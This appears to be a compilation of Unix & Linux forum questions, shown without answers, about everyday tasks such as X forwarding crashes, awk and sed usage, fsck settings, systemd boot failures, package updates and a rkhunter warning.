I have a remote compute server on which I would like to run VMD. Every time I start the application, it crashes with the following error report:               Info) VMD for LINUXAMD64, version 1.9.1 (February 1, 2012)     Info) http://www.ks.uiuc.edu/Research/vmd/                              Info) Email questions and bug reports to vmd@ks.uiuc.edu                Info) Please include this reference in published work using VMD:        Info)    Humphrey, W., Dalke, A. and Schulten, K., `VMD - Visual        Info)    Molecular Dynamics', J. Molec. Graphics 1996, 14.1, 33-38.     Info) -------------------------------------------------------------     Info) Multithreading available, 48 CPUs detected.     Info) Free system memory: 102376MB (79%)     Warning) Detected a mismatch between CUDA runtime and GPU driver     Warning) Check to make sure that GPU drivers are up to date.     Info) No CUDA accelerator devices available.     Warning) Detected X11 'Composite' extension: if incorrect display occurs     Warning) try disabling this optional X server feature.     XRequest.154: BadAlloc (insufficient resources for operation) 0x17     XRequest.154: GLXBadContext 0x3800001     Segmentation fault      I heard from other users of the same server that they did not have any problems, so I assume this must be an issue with the X window system on my local machine. Further points:   * I connect to the server using `ssh -X`.    * Opening a remote `xterm` window works.    * Local X windows version: 1.13.0


How to select which graphics card to use?

I have a desktop with an integrated graphics card, which i want to use, and a PCI graphics card. I would like to display video through the integrated graphics, and use the PCI card for CUDA based tasks, and not bog it down with video generation. Is there a way to select which one to use, and make it permenant?


copy recursively except hidden directory

How do I copy recursively like `cp -rf *`, but excluding hidden directories (directories starting with .) and their contents?


Why do Unix-heads say "minus"?

A couple of weeks ago I attended a talk on Git by someone who seemed to be from a Windows background. I say "seemed to be" because he kept saying "dash" when referring to command-line options. I then recalled something that I found curious in my early days of learning Linux; that is, when referring to options, the resident Unix-heads always said "minus". That is:               rm -rf /var/tmp/bogus/junk      Would be said "arr em minus arr ef" as opposed to "arr em dash arr ef". Why is this?


Allowing rename but not moving to other directory

Users can upload/delete/rename files via `vsftp` server and everything works well except they can also move files across directories. Is it possible to allow renaming of files but disallow moving them around? Example,               /ftp/work/xls/list.xls # can be deleted/renamed but should not moved to ie. 'doc'     /ftp/work/doc/list.doc # same thing, should not be moved elsewhere


Buffer overflow attacks

I just learnt today in a Distributed Systems class that there is an address space allocated for every user by the kernel, and if a user wants to get the su privilege, he needs to shift to the kernel address space. Is this the basis for buffer overflow attacks, where a user, if exceeds his address space, may be able to access the kernel address space or just overwrite it?


Safe to disable boot fsck on read-only ext3 file system?

I have a large, frequently read, ext3 file system mounted read-only on a system that is generally always hard power cycled about 2-3 times per day. Because the device is usually powered off by cutting the power, fsck runs on boot on that file system, but for this application fast boot times are important (to the second). I can disable boot time checks on the file system in fstab, but my question is, is it safe to do this? Given that the file system is mounted read-only but is never unmounted properly, is there _any_ risk of accumulating file system corruption over a long period of time if I disable the boot time check?


How can I restart a network interface?

How can I restart a network interface? I have a vm that doesn't update its IP address correctly when switching between home and work. The vm runs Ubuntu server and uses a bridged network adapter.


Can /mnt/hgfs/'shared folder' be used as apache root?

I have an Ubuntu Server (12.04) running on my development machine. It is in a VM. I have succeeded with the task of setting up Apache2, MySQL, and PHP. I can access the server from my host browser by pointing it to the IP. Hurray! My next task is to set up the filesystem so that I can edit project files on my host computer (Mac OS X 10.7) hit save and view them in my browser through the Linux server. How I am trying to accomplish this is by sharing a folder on my Mac with the VM, which mounts to `/mnt/hgfs/foldername`. Then I pointed my virtual host in Apache2 to that folder. `chmod` the folder to `777` for testing purposes and tried to access the files from my Mac. I get a `403 Forbidden`. How can I set up the VM to share a folder with my Mac so that I don't have to FTP all my files to the server? A thought a had was `rsync` the `/mnt/hgfs/*` folder to the `public_html`


How to allow mysql remote connections via particular interface

I have a `10.237.49.251` IP on `eth0` and another IP on another interface How do I enable remote mysql calls on `eth0` device?


How to find the driver (module) associated with a device on Linux?

On Linux, given:   * a device, for example `/dev/sda`,    * and its major and minor numbers, for example `8, 0`,  how can I know which module / driver is "driving" it? Can I dig into `/sys` or `/proc` to discover that?


Grep expression with special file names

I have to go through some regular files in directories and find those files, that have their own name in its content. In the following piece of script is a cycle in which I am going through paths and using grep to find the file's name in its content. What is surely correct is $something:q - is array of paths where i have to find files. The next variable is name in which is only name of current file. for example: /home/computer/text.txt (paths) and: text.txt (name) And my biggest problem is to find names of files in their content. It's quite difficult for me to write correct grep for this, cause the names of files and directories that I am passing through are mad. Here are some of them:               /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/!_1     /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/dam/$user/:e/'/-r     /home/OS/pocitacove/testovaci_adresar/z/test3/skusime/ taketo/   taketo     /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/.-bla/.-bla/.a=b     /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/.-bla/.-bla/@     /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/.-bla/.-bla/:     /home/OS/pocitacove/testovaci_adresar/z/test4.pre_expertov/.-bla/.-bla/'ano'          foreach paths ($something:q)         set name = "$paths:t"         @ number = (`grep -Ec "$name" "$paths"`)              if ($number != 0) then             echo -n "$paths "             echo $number         endif              @ number = 0     end


Debian: package updates in stable distribution

I am running Debian Wheezy, which is the current stable Debian distribution. In my `/etc/apt/sources.list`, I have something like the following:               deb http://ftp.de.debian.org/debian wheezy main     deb http://ftp.de.debian.org/debian-security/ wheezy/updates main      When I run `apt-get update` and `apt-get upgrade`, I would expect that only security updates will be installed. However, I see that there are other packages which want to be updated, such as:               dpkg (1.16.10) -> (1.16.12)      could somebody please explain what is the debian update policy? Why were these packaged updated? I was under the impression, that only security issues are being fixed in stable distribution.


How to change gnome session locale?

How do I change the default locale for my gnome session? I created `/etc/default/locale-local` with this content:               LANG=pt_PT.UTf-8     LC_MESSAGES=en_US.UTF-8      and added this to `/etc/pam.d/gdm3`, `/etc/pam.d/gdm3-autologin`, `/etc/pam.d/gdm-welcome`, /etc/pam.d/login, `/etc/pam.d/su` and `/etc/pam.d/sshd`:               session required pam_env.so readenv=1 envfile=/etc/default/locale-local      What am I missing?


Eclipse crash with Fedora 19

I'm trying to work with eclipse Galileo with Fedora 19. Executing `./eclipse` loads and opens normally, but when I type some java code on the editor the application crashes and closes instantly. This happens in the moment when the popup with the tips should appear, e.g. when you type an object instance name followed by a dot, and the Eclipse shows the possible methods. And in the prompt appears this message:               GLib-GObject:ERROR:gobject.c:4127:g_weak_ref_set: assertion failed: (weak_locations != NULL)      I've tried to start with the `-vm` argument point to jr6, jre7 and openjdk and the error persists.


Meaning of the following linux commands

cat "$1" > /tmp/file.$$   2>/tmp/file0.$$     grep "*"  /tmp/file.$$    >/tmp/file0.$$      I understood that in the `cat` command, if an error occurs, the error will be shown in `file0.$$` and if it does not, then contents will be shown in `file.$$`. What I don't understand is what `$1` is. Also what is happening in the `grep` command.


Understanding different Linux Distros

I'm having a little bit of confusion when understanding linux based OS's. When I download the newest version of Mint and Ubuntu, aren't they the "same" at their core (kernel)? It just seems that they have different GUI's? Isn't a GUI technically just a program that runs on startup of a computer? Same as with windows (dos is the core but explorer.exe is the gui). Is anyone able to explain this? With the sudo apt-get command can't I install Ubuntu from a mint Terminal? I know that this is a mess of questions, but hopefully someone can clarify the differences between multiple distros before the GUI appears, and then after the GUI appears.


How do I achieve higher resolution than physical resolution of an LCD?

I'm using the original `EeePC` with screen resolution of `800x480`. Some screens and dialogs do not fit into that resolution, so I have to use `Alt- Drag` to move windows around to reveal the bottom part of the window, but this doesn't work for a particular application I'm going to use since it's basically a fullscreen DirectX app running via wine, so some buttons are just cut off by the edge of the screen. Is there a way to make `Xorg` desktop to render at higher resolution (`1024px` wide or so) and then transparently scaled down to the display's native resolution, so the applications think the resolution is bigger? I do not care much about output getting blurred or text getting too small. Alternatively, is there a way to switch the video adapter to the resolution above physical resolution of the LCD screen and have the screen/video adapter itself to handle scaling (as used to be possible with CRT monitors)? I'm using **Lubuntu 12.04** so I guess have `Compiz` installed. There is Scale plugin in `Compiz`, but I don't think it does what I need.


Trapping "READ FPDMA QUEUED"

Recently I encountered a kernel message:               ata3.00: exception Emask 0x0 SAct 0x1 SErr 0x0 action 0x0     ata3.00: irq_stat 0x40000008     ata3.00: failed command: READ FPDMA QUEUED     ata3.00: cmd 60/08:00:98:b2:78/00:00:13:00:00/40 tag 0 ncq 4096 in              res 41/40:08:9a:b2:78/00:00:13:00:00/00 Emask 0x409 (media error) <F>     ata3.00: status: { DRDY ERR }     ata3.00: error: { UNC }     ata3.00: SB600 AHCI: limiting to 255 sectors per cmd     ata3.00: SB600 AHCI: limiting to 255 sectors per cmd     ata3.00: configured for UDMA/133     sd 2:0:0:0: [sda] Unhandled sense code     sd 2:0:0:0: [sda]  Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE     sd 2:0:0:0: [sda]  Sense Key : Medium Error [current] [descriptor]     Descriptor sense data with sense descriptors (in hex):             72 03 11 04 00 00 00 0c 00 0a 80 00 00 00 00 00              13 78 b2 9a      sd 2:0:0:0: [sda]  Add. Sense: Unrecovered read error - auto reallocate failed     sd 2:0:0:0: [sda] CDB: Read(10): 28 00 13 78 b2 98 00 00 08 00     end_request: I/O error, dev sda, sector 326677146     ata3: EH complete      I managed to correct the error and wrote a detailed description of the convoluted process I used to repair the disk. Then got too lazy to post it ( guess I will this weekend ). What I would like to do now is create some programs for automating the process. To do this I need to "trap the kernel error". By trap I mean: 1) Terminate the system call that is causing the error. I notice that often times errors like this will cause the hd to hang, that is ignore requests from other system command calls until this process has run its course. Often times causing the other calls to return errors. With a diagnostic program this will cause the wrong action to be identified as the culprit. 2) Send a signal of some sort to the calling process to let it know that it is the culprit. Suggestions?


Print console colors

Wrote a bash function to display the console colors. But, it seems some of the colors are not possible to show that way! (?) Also, note the strange "bright black"! (Note: The below screendump is of xterm, but this is meant to be used in console mode. I had to use xterm to get a screendump. But it looks much the same.) ![clr](http://user.it.uu.se/~embe8573/clr.png)               function clr () {       Color_names="bla red gre yel blu mag cya whi"       Color_arr=($Color_names)       for m in {0..15}       do         tput setaf $m         echo -n ${Color_arr[$((m % 8))]}" "       done       echo       tput sgr0       cat /sys/module/vt/parameters/default_red \           /sys/module/vt/parameters/default_grn \           /sys/module/vt/parameters/default_blu | tr "," "\t"     }


mysql USER unclear about what can be dropped?

When `show databases` there is the `information_schema` below it listing my created databases but what is 'USER' and 'mysql' listed in there? I don't know if ages ago I made a mistake and created them or if they are default listings which reveal something?


How to save “text/pdf” PDF files on the disk from an incoming mail in Mutt

I receive emails with PDF attachments that have the MIME type "text/pdf". This is obviously not good, but some mail clients are doing that... The problem is that saving such an attachment in Mutt leads to a file on the disk that cannot be opened by a PDF viewer. The file size is indeed different by a few bytes from what it should be. How can I save such attachments?


awk one single line

hello i try to use a awk that compiles several lines into one, how can ia do that? i'm using the comand:               awk < $pot/towhee.prod 'NR==411{print$5,$6}''NR==412{print$5,$6}''NR==430{print$7,$8}'       and it produces this:               0.24975E-01 0.00000E+00     0.36574E+04 0.59343E+02     -3340.691 0.399      but i want this:               0.24975E-01 0.00000E+00 0.36574E+04 0.59343E+02 -3340.691 0.399      how can i do it?


Packaging with tar

I am trying to package the files:               file1     folder2/hello     folder2/world     file3      into a tar file so they are encapsulated in a custom defined folder, so the `tar -tvf archive.tar` appears as:               mycustomfolder/file1     mycustomfolder/folder2/hello     mycustomfolder/folder2/world     mycustomfolder/file3      Currently to come around this I am:   * Creating an archive(x) of `file1`, `folder2` and `file3`.   * Creating a `mycustomfolder` folder.   * Extract the archive(x) into `mycustomfolder`   * Create an archive(y) from `mycustomfolder` I can't help it think their might be one step of doing this or a better way?


Execute command on remote host fails

I'm trying to execute some commands on remote host like this :               ssh -t -t -l user 172.20.20.20 <<EOF       pid=$(ps -ef | grep [a]pp-management | awk '{print $2}') && kill -9 $pid && rm -rf CI/*     EOF      What happens is that I remain logged at remote server and the kill is not executed :               user@ubuntu:~$ pid= && kill -9  && rm -rf CI/*     kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]      Neither `rm` gets executed, what am I doing wrong? I see that nothing get passed to kill -9 command, why is this?


Substite values from file1 to file2 awk

I have input file in xml FILE1 :                <Sector sectorNumber="1">         <Cell cellNumber="1" cellCreated="YES" cellIdentity="" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>         <Cell cellNumber="2" cellCreated="YES" cellIdentity="" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>         <Cell cellNumber="3" cellCreated="YES" cellIdentity="" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>       </Sector>       <Sector sectorNumber="2">         <Cell cellNumber="1" cellCreated="YES" cellIdentity="" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>         <Cell cellNumber="2" cellCreated="YES" cellIdentity="" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>         <Cell cellNumber="3" cellCreated="YES" cellIdentity="" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>       </Sector>       <Sector sectorNumber="3">         <Cell cellNumber="1" cellCreated="YES" cellIdentity="" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>         <Cell cellNumber="2" cellCreated="YES" cellIdentity="" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>         <Cell cellNumber="3" cellCreated="YES" cellIdentity="" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>       </Sector>      and other FILE2:               Cell11="42921"     Cell12="42925"     Cell13="42928"     Cell21="42922"     Cell22="42926"     Cell23="42929"     Cell31="42923"     Cell32="42927"     Cell33="42920"      where I want to subistitue values from FILE2 to FILE1 , so it should look like :               <Sector sectorNumber="1">             <Cell cellNumber="1" cellCreated="YES" cellIdentity="42921" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>             <Cell cellNumber="2" cellCreated="YES" cellIdentity="42925" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>             <Cell cellNumber="3" cellCreated="YES" cellIdentity="42928" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>           </Sector>           <Sector sectorNumber="2">             <Cell cellNumber="1" cellCreated="YES" cellIdentity="42922" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>             <Cell cellNumber="2" cellCreated="YES" cellIdentity="42926" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>             <Cell cellNumber="3" cellCreated="YES" cellIdentity="42929" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>           </Sector>           <Sector sectorNumber="3">             <Cell cellNumber="1" cellCreated="YES" cellIdentity="42923" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>             <Cell cellNumber="2" cellCreated="YES" cellIdentity="42927" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>             <Cell cellNumber="3" cellCreated="YES" cellIdentity="42920" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>           </Sector>       So basicly, all the vaules are inserted in cellIdentity="" in order, s it is in FILE2. I have awk code :               awk 'FNR==NR{FS="=";a[NR]=$2;next}/cell/{c++;FS=OFS;$4="cellIdentity="a[c];}1' FILE2 FILE1      but I get this :               <Sector sectorNumber="1">             <Cell cellNumber "1" cellCreated "YES" cellIdentity cellIdentity= "35000" numberOfTxBranches "1" hsCodeResourceId "0"/>     <Cell cellNumber="2" cellCreated="YES" cellIdentity="42925" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>     <Cell cellNumber="3" cellCreated="YES" cellIdentity="42928" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>           </Sector>           <Sector sectorNumber="2">     <Cell cellNumber="1" cellCreated="YES" cellIdentity="42922" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>     <Cell cellNumber="2" cellCreated="YES" cellIdentity="42926" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>     <Cell cellNumber="3" cellCreated="YES" cellIdentity="42929" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>           </Sector>           <Sector sectorNumber="3">     <Cell cellNumber="1" cellCreated="YES" cellIdentity="42923" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>     <Cell cellNumber="2" cellCreated="YES" cellIdentity="42927" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>     <Cell cellNumber="3" cellCreated="YES" cellIdentity="42920" cellRange="35000" numberOfTxBranches="1" hsCodeResourceId="0"/>     </Sector>      So the probelm is only in first row, it's not good. I don't know how to fix it.


Is it possible to transfer the history of commands from one system to another?

I am going to have all my data transferred to a new PC. Is it possible to transfer the command history of the previous Linux to the new system as well? So that when I type the `history` command, I get the same results as I did on the old system.


Cannot get Systemd working on GENTOO: Where am i going wrong?

I'm having a massive amount of trouble installing gentoo with systemd; this is a fresh install and not an upgrade. Steps (after partitions etc.. are setup):   1. Unpack AMD64 stage3 and emerge-webrsync and then `emerge --sync` for good measure   2. Eselect profile gnome/systemd   3. `emerge --update --deep --with-bdeps=y --newuse @world`   4. `emerge` gentoo sources; config and `make` the kernel -the gentoo systemd option is enabled as is openrc   5. Install the kernel   6. install mdm and lvm (I'm running a raid0 as root)   7. install gentoo-next and `genkernel --install --no-ramdisk-modules -mdadm -lvm --udev initramfs` (this is as suggested by the systemd and raid install wikis)   8. `emerge` grub2 and install it with init set to systemd   9. install some utils (e.g `dhcpcd`) When I boot into the system i get nothing but a bunch of trouble - never actually having the system boot in full. Errors (in no particular order as I had to write them by hand):               Failed to start trigger flushing of journal to persistent storage     Systemd-journal-flush service entered failed state     Systemd-journald.service.watchdog.timeout     Systemd-journal-flush.service exited, code=exited status=1/Failyre          A start job is running for udev Kernel Device Manager service...     Systemd-udevd.service.start operation timed out          Failed to start udev kernel device manager      It just sits there looping for the udev KDM startup always failing if i hit control alt delete (or indeed type `shutdown -h` now from within the chrooted environment) i get the following:               Failed to start reboot     Dependency for reboot failed          systemd-reboot service main process exited..          shutdown -h now          shutdown: /dev/initctl: No such file or directory     init: /dev/initctl: No such file or directory      I've been googling for a couple days now but couldn't find anything (though it is possible I'm blind). Journactl (when i `chroot` into the setup) says No Journal Files Were Found. I'm at a complete loss at this point. If anyone has any suggestions i would greatly appreciate them!


How to setup Nvidia GeForce 9800 card on Ubuntu 10.10

I have problem on graphic card with ACER V193w LCD display. I really don't know how to configure /setup/ Nvidia GeForce 9800 on Ubuntu 10.10. Can you guys please help me!


Where does xfce4-notes store data?

I have a lot of xfce-notes groups containing each a lot of text. I want to transfert them to a new machine without copying the whole home directory. Where does xfce4-notes store its data and configation files?


Is it possible to uninstall OpenOffice?

I installed OpenOffice using the installer downloaded from openoffice.org on Fedora 14. I went to use it today for the first time and it won't open. I'm assuming with updates that have been installing that perhaps something got overwritten or something since I didn't install it through yum. I wasn't sure how to go about uninstalling it now so that I can reinstall it using yum so that it can monitor dependencies for me. How would I do this?


Script for running sequential job

I started recently to learn using Linux. I want to write a script in bash shell to run a serial job on a cluster. I have been searching for hints and instructions on how to write such a script. I managed to write the following:               #!/bin/bash     #PBS -l nodes=1:ppn=8     #PBS -l walltime=1:00:00     #PBS -e test.err     #PBS -o test.log     cd /home/myuser/     echo "Running on host `hostname`"     echo "Time is `date`"     echo "Directory is `pwd`"     /home/myuser/comsol4.3b/bin/comsol batch -inputfile DF.mph -outputfile output.mph -batchlog out.log      The last line calls the program (it is called COMSOL) to run. One of the things that are missing in my code is the command “qsub”; I don’t know how to incorporate it with the rest of commands in my code. Can anyone please instruct me how to modify the line that calls the program I am using by “qsub” command please? Sorry if my question is so simple, I spent a lot of time trying to make it work but I couldn’t unfortunately. **EDIT** : To summarize, if I typed the last line of the code ONLY it will be run on the main node only, I don't want that. What I want is to modify the last line of the code such that it uses the resources I allocated to it using PBS lines, how should I do that? For the record, the command `qhost` shows there are 250 nodes with varying cores per node from 4 cores/node to 16 cores/node


Bafflingly baroque Debian ps: show threads in forest tree

My favourite `ps` invocation is:               ps -efww ef      as I need to `watch` all processes (`-e`), get extended information about them (`-f`), see the environment (`e`) they operate within, wrapping lines (`-w -w`) so I don't lose any part of that, and visually group (`f`) child processes under their parents, for an at-a-glance overview. I have "wasted" the whole morning trying to get _any_ thread information to appear as well, following the same visualisation logic above. I must have tried 40 different combinations of options. ( _Actually, I just checked my`.bash_history` and I have tried more!_). Combinations included swapping `f` and `-H` for forest display, for instance. Sometimes I even tried permutations to check insidious "orderings"... None of the threading options seem to be compatible with my "monitoring screen" setup. I am talking about `H`, `-L`, `m`, `-m` and `-T`. I am baffled. Am I doing it wrong? How are you guys doing it? Specifically: I need to watch for processes like download managers who go funky with 30 to 80 threads all of a sudden...


How to wget website with same page and content names?

I'm trying mirror a website where it has page:               http://www.site.com/news      and contents:               http://www.site.com/news/36-news/news-one     http://www.site.com/news/37-news/news-two     http://www.site.com/news/38-news/another-news-here      This is what I'm using               wget -m -Dsite.com -e robots=off -r -q -R gif,png,jpg,jpeg,GIF,PNG,JPG,JPEG \         -t 10 http://www.site.com &      When wget is run, it will create a HTML file with the name `news`. I'm unable to download the contents because the file with the name `news` already exists (I'm running Ubuntu: directories cannot have same name as files) Below is the message that appeared when running `wget` without `-q` > www.site.com/news/36-news: Not a directory   >  www.site.com/news/36-news/news-one: Not a directory


How can I diagnose and repair missing drive space?

I have a small ext3 `/` partition on a 2T drive which appears to have a discrepancy in its free space. How can I determine what is causing it and how it can be fixed. After trying everything I could think of, I forced a fsck on boot which didn't have any affect. I have other systems configured identically which don't exhibit this condition.               # df -h /     Filesystem            Size  Used Avail Use% Mounted on     /dev/sda1             9.7G  8.9G  318M  97% /          # du -shx --max-depth 1 /     5.2G    /          # lsof | awk 'BEGIN {t=0} /(deleted)/ {t+=$7} END {print t}'     0          # tune4fs -l /dev/sda1 | grep -E 'state|Free|Reserve|size|Inode'     Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super large_file     Filesystem state:         clean     Inode count:              2621440     Reserved block count:     131029     Free blocks:              212317     Free inodes:              2487281     Block size:               4096     Fragment size:            4096     Reserved GDT blocks:      639     Inodes per group:         32768     Inode blocks per group:   1024     Reserved blocks uid:      0 (user root)     Reserved blocks gid:      0 (group root)     Inode size:               128      **Edit:** `fsck` says the partition is 2% non-contiguous. For comparison to `du` above (sparseness):               # du -hxs --apparent-size /     4.9G    /


What's the best way to install a system-wide certificate from a website?

I want to use the Cisco Easy VPN to connect to the OpSource cloud machines. When I open the app, it directly shows a certificate error message, I suspect that the certificate is not trusted from their domain because I tried it on a Windows machine and I had to add an exception for it. I am using Fedora 15 and I want to make the certificate to this domain accepted system-wide, The only way to get the certificate will be by accessing it through the browser and exporting the certificate from Firefox for example. How could I install this certificate, and is there a better way to obtain it other than exporting it from the browser?


How do I determine where DNS requests fail in the TCP stack?

I have the networking setup described here: Why is this static route not taking effect? Currently, I can ping my DNS server but all DNS requests fail:               ~$ ping 130.35.249.52     PING 130.35.249.52 (130.35.249.52) 56(84) bytes of data.     64 bytes from 130.35.249.52: icmp_seq=1 ttl=57 time=105 ms     64 bytes from 130.35.249.52: icmp_seq=2 ttl=57 time=111 ms     ^C     --- 130.35.249.52 ping statistics ---     2 packets transmitted, 2 received, 0% packet loss, time 1000ms     rtt min/avg/max/mdev = 105.604/108.388/111.172/2.784 ms          ~$ nslookup oracle.com 130.35.249.52     ;; connection timed out; no servers could be reached      I can think of no good reason for this, because Ubuntu is (to my knowledge) not running a firewall. However, Ubuntu is virtualized, so I hope that it isn't something wrong with the way that its VirtualBox host is set up.


An Error Occured, Error attaching disk image: GDBus.Error:... when opening downloaded files in firefox, how to fix this?

`Error attaching disk image: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error setting up loop device /dev/loop0: Invalid argument (udisks-error-quark, 0)`      That one above is the error Im having with my Linuxmint 15 Olivia, using Mozilla Firefox for Linux Mint 1.0.   The error occurs when I am opening a downloaded file using the "Open Containing Folder" context menu. and also when opening the c: drive of my newly installed "Wine" installation.   I have 3 Linux Mint 15 machines with exact software packages installed. The others are not having this error.   The machine that this error occurs from is installed in a Fake RAID0. **Update** The application involved in this error is the `gnome-disk-image-mounter `   **UPDATE** I've just re-installed everything since I can't fixed it.   It's working well now.


Creating a Linux distribution that only runs one application

> **Possible Duplicate:**   >  How can I build a custom distribution for running a simple web browser? Is it possible to create a Linux distribution that only runs one application? For example, I want it to just run a browser, and not support any other applications. How can I do that?


Need small distro without a desktop or windows manager, just to run a single graphical app

I am looking for some help on this from a linux expert. I am very novice when it comes to linux so I am hoping someone can help out. I need a small distro, that is stable. I don't need a full X server or window manager, I only need it to run one single application with a basic UI that consists of a viewport. I would like for the distro to be as small as possible. 700 mb or less would be ideal. Is their a base distro of ubuntu or similar that I can add whatever I need to it from the command line. Which basically is the kernel and some way of graphical output. I was thinking of putting Direct FB on it to render the application. Can anyone help me out here? Even a live distro would work.


rkhunter warns about chkconfig

I ran `rkhunter` and received the following warnings in its output:               $ rkhunter --update     $ rkhunter -c          ...     ...     ...          Performing file properties checks         /sbin/chkconfig                                          [ Warning ]      In the `/var/log/rkhunter.log`, it shows this message:               Warning: The command '/sbin/chkconfig' has been replaced by a script: /sbin/chkconfig: Perl script, ASCII text executable      Though I am on a Debian system and am aware of `update-rc.d`, I occasionally use `chkconfig` to configure services. What does this warning mean? How serious is this?


Cannot redirect output from sed

I'm piping output from clock through sed to remove leading zeroes from numbers. It looks like this:               clock -sf 'S%A, %B %d. %I:%M %P' | sed 's/\b0\+\([0-9]\+\)/\1/g'      That works fine and produces the output I want. However, when I try to redirect the output to a file, nothing is written to the file. The following does NOT work.               clock -sf 'S%A, %B %d. %I:%M %P' | sed 's/\b0\+\([0-9]\+\)/\1/g' > testfile      Nothing is written to testfile. What am I doing wrong?


What is the concept hidden behind the term "command"?

I have been using, studying and developing for Linux for quite a few years now, and over time, I have successfully convinced a few people to _join the cause_ , and make the switch to Linux. However, when these people went discovering this brand new world, every one of them eventually came to me, asking _what the command was to do this or that_ :   * What's the command to install a piece of software?   * What's the command to list currently directory contents?   * What's the command to open my web browser?   * ... To me though, it feels like they are asking the wrong questions. Indeed, I would actually expect them to ask:   * What program do we use to manage software installed on the system?   * What program can list current directory contents?   * What are the available web browsing programs?   * ... It would seem to me that the term **command** is a very abstract word used to describe pretty much everything you type after your shell prompt. With this thinking, several of the newcomers I brought started to believe that:   * Linux is made of a huge amount of commands.   * There is a command for everything, and every command does one thing specifically.   * By learning more commands, I'll become more capable as a Linux user/administrator.   * By running `./something` I don't run a command, but a program stored in my current directory, probably something I compiled myself.   * ... Due to that, I tend not to use the word **command** , and prefer to use **program** or **executable file**. I also explain that these executable files can be found automatically, without typing their absolute paths, thanks to the `$PATH` mechanism. Thanks to that, typing `ls` executes `/bin/ls`, which is a **program** stored in `/bin`, a directory registered within the `$PATH` variable. Still, I come across the word **command** in many books, tutorials, guides, ... which eventually brought this question to my mind: does the word _command_ actually have a meaning in the UNIX/Linux vocabulary? Does it refer to an actual concept other than _"whatever you type in your terminal"_?


How to prevent a new user to inherit the files of a deleted user?

I just deleted a user with "userdel", without deleting its home dir. Right after the deletion, I created a new user, with its own home dir. What striked me as odd, was that the new user gets the UID of the deleted user (the last UID, incremented by 1). Consequently, the new user also has ownership and full permissions on the files of the deleted user! Is this normal behaviour? Is there a best practice on how to prevent this, short of specifying a UID each time when creating a new user? (Tested on Linux Mint 17 and verified on OpenSuse 13.1)


Use variables in find command

`mount |awk '{print $3}'` --> list of mount points               find "list of mount points"  -name  "aaa" -print      How can I redirect the result from previous line into find command as searching directory? I would like to have it done in one line:               mount |awk '{print $3}' | find "converting pipe result to a variable as directory" -name "aaa" -print      Possible to make it work this way?


Cron creates vim process but does not display vim

Under MacOSX 10.8.2 I am able to run vim as follows in the bash shell:               /usr/bin/vim -c "normal G" -c 'startinsert' ~/.journal      If I put the exact same command in a script:               #! /bin/bash          export DISPLAY=:0     echo -n -e "\n[" `date` "]:\n\n">>~/.journal          /usr/bin/vim -c "normal G" -c 'startinsert' ~/.journal      and run the script, it also opens vim correctly. However, if I put the script, named 01diaryscript, into crontab:               MAILTO=""     * * * * * ~/01diaryscript      vim does not open... BUT a new vim process is created with its own unique id every minute. On the other hand, if I use the vim, also 7.3, included in the MacVim package, cron works. Is there a way to force the vim process that is created when I run the first script in cron to be accessible?


AIX won't stop creating random .nfsXXXX files

I am trying to delete some files and folders, but I can't because the system keeps re-creating the files. All these files are named `.nfsXXXX`, where `XXXX` is some random 4-character hexadecimal number. Whenever I delete one of these files, it creates another one with a different name but the same contents. This is happening in several unrelated directories. What could be causing this and how can I fix it?


Linking synergyc: libcurl - undefined reference

I'm trying to compile synergy 1.5.0 on openSUSE 13.1 (Kernel 3.11.10-17). While linking, I get the following error:               ...     [ 83%] Built target ipc     [ 84%] Built target client     Linking CXX executable ../../../../../bin/synergyc     /usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../lib64/libcurl.so: undefined reference to `SSL_CTX_set_srp_username'     /usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../lib64/libcurl.so: undefined reference to `SSL_CTX_set_srp_password'     collect2: error: ld returned 1 exit status     make[2]: *** [../../bin/synergyc] Error 1     make[1]: *** [src/cmd/synergyc/CMakeFiles/synergyc.dir/all] Error 2     make: *** [all] Error 2     Going back to: /home/ara/rafik/.local/src/synergy-1.5.0-Source     Error: make failed: 512      I'm on an university machine, so I don't have root and have to do a local compile / install. I can ask the admin to install additional libraries, but his time is scarce and I would prefer not to do a try and error approach.. I did already ask him to install libcurl-devel, that didn't help. As suggested in this question I did check for missing libraries:               rafik@taurus:~/.local/src/synergy-1.5.0-Source> ldd /usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../lib64/libcurl.so         linux-vdso.so.1 (0x00007fff1c6b7000)         libidn.so.11 => /usr/lib64/libidn.so.11 